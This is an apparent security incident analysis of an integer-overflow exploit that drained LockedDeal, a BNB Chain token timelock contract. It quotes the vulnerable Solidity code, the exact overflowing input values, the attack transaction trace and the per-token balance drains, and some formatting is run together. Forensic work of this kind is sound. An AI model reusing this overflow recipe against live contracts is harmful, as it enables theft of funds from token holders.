We do not have a reliable USD price for the recorded assets yet.
0x39718b03ae346dfe0210b1057cf9f0c378d9ab943512264f06249ae14030c5d50x8bfaa473a899439d8e07bf86a8c6ce5de42fe54bBSCOn BNB Chain block 26475404, transaction 0x39718b03ae346dfe0210b1057cf9f0c378d9ab943512264f06249ae14030c5d5 let an unprivileged adversary drain LockedDeal at 0x8bfaa473a899439d8e07bf86a8c6ce5de42fe54b. The sender EOA 0x190cd736f5825ff0ae0141b5c9cb7fcd042cef2a called helper contract 0x058bae36467a9fc5e1045dbdffc2fd65b91c2203, bought minimal seed amounts of four whitelisted tokens, created overflowed mass pools, and immediately withdrew attacker-controlled pools backed by LockedDeal's preexisting custody balances.
The root cause is unchecked arithmetic in LockedDeal's Solidity 0.6 batch accounting. CreateMassPools transfers in only getArraySum(_StartAmount), but getArraySum uses raw sum = sum + _array[i] without SafeMath. By choosing _StartAmount = [type(uint256).max - X + 2, X], the attacker makes the batch sum wrap to 1 while still registering a second pool with amount X, where X is LockedDeal's full preexisting token balance. WithdrawToken then pays that recorded amount out of LockedDeal's live inventory, leaving only the newly deposited 1 token behind.
LockedDeal is a custody-style timelock contract. It records ERC20 pools in , associates them with owners, and later releases when is called after the unlock time.
AllPoolzpool.AmountWithdrawTokenThree protocol facts matter:
CreateMassPools(address,uint64[],uint256[],address[]) is supposed to preserve the accounting invariant that the sum of newly created pool amounts equals the amount of ERC20 tokens actually transferred into LockedDeal for that batch.0.6.x, so plain arithmetic is unchecked unless SafeMath is used explicitly.WithdrawToken(uint256) does not reconcile a pool's recorded amount against what was actually deposited for that pool creation call; it only checks that the pool exists, is unlocked, and still has a positive amount.That means the safety invariant for LockedDeal is:
For every successful CreateMassPools call,
sum(recorded new pool amounts) == actual ERC20 amount transferred into LockedDeal.
The exploit works because LockedDeal enforces the transfer on the wrapped batch sum, but stores the raw per-pool amounts unchanged.
This is an ATTACK-class protocol bug, not an MEV-only opportunity. The vulnerable component is LockedDeal's own accounting path. CreateMassPools calls TransferInToken(_Token, msg.sender, getArraySum(_StartAmount)), so the number of tokens collected depends entirely on getArraySum. But getArraySum performs unchecked addition in Solidity 0.6, allowing attacker-chosen inputs to wrap modulo 2^256. CreatePool then stores each attacker-supplied _StartAmount[i] as the authoritative pool liability without verifying that the batch was fully funded. Finally, WithdrawToken transfers AllPoolz[_PoolId].Amount directly from LockedDeal's live token balance once the pool is unlocked. The result is a deterministic unfunded-liability bug: the attacker deposits one unit, records a second immediately withdrawable pool equal to LockedDeal's existing token inventory, and drains that inventory.
The security principles violated are straightforward:
The verified LockedDeal source shows the exact breakpoint. In the batch path, the contract collects getArraySum(_StartAmount) and then stores each raw _StartAmount[i] as a pool:
function CreateMassPools(
address _Token,
uint64[] calldata _FinishTime,
uint256[] calldata _StartAmount,
address[] calldata _Owner
) external isGreaterThanZero(_Owner.length) isBelowLimit(_Owner.length) returns(uint256, uint256) {
require(_Owner.length == _FinishTime.length, "Date Array Invalid");
require(_Owner.length == _StartAmount.length, "Amount Array Invalid");
TransferInToken(_Token, msg.sender, getArraySum(_StartAmount));
uint256 firstPoolId = Index;
for(uint i=0 ; i < _Owner.length; i++){
CreatePool(_Token, _FinishTime[i], _StartAmount[i], _Owner[i]);
}
uint256 lastPoolId = SafeMath.sub(Index, 1);
return (firstPoolId, lastPoolId);
}
function getArraySum(uint256[] calldata _array) internal pure returns(uint256) {
uint256 sum = 0;
for(uint i=0 ; i<_array.length ; i++){
sum = sum + _array[i];
}
return sum;
}
The withdrawal path later trusts the stored pool amount:
function WithdrawToken(uint256 _PoolId) public returns (bool) {
if (
_PoolId < Index &&
AllPoolz[_PoolId].UnlockTime <= now &&
AllPoolz[_PoolId].Amount > 0
) {
TransferToken(
AllPoolz[_PoolId].Token,
AllPoolz[_PoolId].Owner,
AllPoolz[_PoolId].Amount
);
AllPoolz[_PoolId].Amount = 0;
return true;
}
return false;
}
These two snippets fully explain the exploit. The invariant breakpoint is the unchecked sum = sum + _array[i] in getArraySum, combined with CreatePool storing the raw amounts and WithdrawToken paying them out later.
Let X be LockedDeal's existing balance of some whitelisted token T. The attacker chooses:
_StartAmount[0] = type(uint256).max - X + 2
_StartAmount[1] = X
In Solidity 0.6, the batch sum wraps:
(type(uint256).max - X + 2) + X == 1 mod 2^256
So TransferInToken collects only 1 smallest unit of T, but the contract still records two pools:
type(uint256).max - X + 2XThe attacker also sets both finish times to the current block timestamp. That makes Pool B immediately withdrawable in the same transaction.
The seed trace for the exploit transaction shows the MNZ leg concretely. LockedDeal receives exactly 1 token, then creates two pools, then pays out the full preexisting balance:
0x8BfAA473...::CreateMassPools(
BEP20Token: [0x861f1E1397daD68289e8f6a09a2ebb567f1B895C],
[1678850162, 1678850162],
[115792089237316195423570985008687907853269984665640502182660492372007802789937,
61856797091635905326850000],
[0x058baE36..., 0x058baE36...]
)
emit TransferIn(: 1, : 0x058baE36..., : BEP20Token: [0x861f1E13...])
emit NewPoolCreated(: 158970, : BEP20Token: [0x861f1E13...], : 1678850162,
: 115792089237316195423570985008687907853269984665640502182660492372007802789937,
: 0x058baE36...)
emit NewPoolCreated(: 158971, : BEP20Token: [0x861f1E13...], : 1678850162,
: 61856797091635905326850000, : 0x058baE36...)
0x8BfAA473...::WithdrawToken(158971)
emit TransferOut(: 61856797091635905326850000, : 0x058baE36..., : BEP20Token: [0x861f1E13...])
The same trace pattern repeats for WOD, SIP, and ECIO:
158972 and 158973158974 and 158975158976 and 158977The balance diff confirms the post-state oracle exactly:
[
{
"token": "MNZ",
"lockeddeal_before": "61856797091635905326850000",
"lockeddeal_after": "1",
"attacker_delta": "61856885947730825921957739"
},
{
"token": "WOD",
"lockeddeal_before": "35975413186725149349550000",
"lockeddeal_after": "1",
"attacker_delta": "35975489757544978020353101"
},
{
"token": "SIP",
"lockeddeal_before": "29032275688743400000000000",
"lockeddeal_after": "1",
"attacker_delta": "29032394845434095905131280"
},
{
"token": "ECIO",
"lockeddeal_before": "252152268734854541525400000",
"lockeddeal_after": "1",
"attacker_delta": "252153413174665343146142472"
}
]
This is why the chosen success predicate is non-monetary. The deterministic harm is the unauthorized depletion of LockedDeal's custody balances to 1 token per affected asset. The retained fee note is still measurable: the transaction consumed 38786380000000000 wei of gas cost.
The exploit is permissionless and repeatable when the following conditions hold:
isTokenValid, meaning it is whitelisted or token filtering is otherwise satisfied.X of that token.1 smallest unit of the token and approve LockedDeal.<= block.timestamp.No private keys, privileged roles, or non-public orderflow are required.
The adversary flow is a single transaction with repeated per-token subroutines:
0x190cd736f5825ff0ae0141b5c9cb7fcd042cef2a calls helper 0x058bae36467a9fc5e1045dbdffc2fd65b91c2203 with 0.0004 BNB.1 token deposit for each asset.CreateMassPools with two attacker-owned entries:
WithdrawToken on the second pool.The adversary cluster identified from the transaction and balance flow is:
0x190cd736f5825ff0ae0141b5c9cb7fcd042cef2a0x058bae36467a9fc5e1045dbdffc2fd65b91c2203The victim is LockedDeal at 0x8bfaa473a899439d8e07bf86a8c6ce5de42fe54b.
LockedDeal lost live custody balances for four user-deposited assets in one transaction:
"61856797091635905326850000" raw units, 18 decimals"35975413186725149349550000" raw units, 18 decimals"29032275688743400000000000" raw units, 18 decimals"252152268734854541525400000" raw units, 18 decimalsPost-exploit, LockedDeal's balance in each affected token was reduced to exactly 1, which is the attacker-supplied seed deposit left behind after withdrawal. The attacker EOA received the drained balances, and the transaction also incurred a measured gas cost of 38786380000000000 wei.
The broader impact is larger than the four observed drains. Any other whitelisted token already custodied by LockedDeal at the time of attack was exposed to the same arithmetic-overflow strategy.
0x39718b03ae346dfe0210b1057cf9f0c378d9ab943512264f06249ae14030c5d50x8bfaa473a899439d8e07bf86a8c6ce5de42fe54b0x190cd736f5825ff0ae0141b5c9cb7fcd042cef2a0x058bae36467a9fc5e1045dbdffc2fd65b91c2203https://bscscan.com/address/0x8bfaa473a899439d8e07bf86a8c6ce5de42fe54b#code/workspace/session/artifacts/collector/seed/56/0x39718b03ae346dfe0210b1057cf9f0c378d9ab943512264f06249ae14030c5d5/metadata.json/workspace/session/artifacts/collector/seed/56/0x39718b03ae346dfe0210b1057cf9f0c378d9ab943512264f06249ae14030c5d5/trace.cast.log/workspace/session/artifacts/collector/seed/56/0x39718b03ae346dfe0210b1057cf9f0c378d9ab943512264f06249ae14030c5d5/balance_diff.json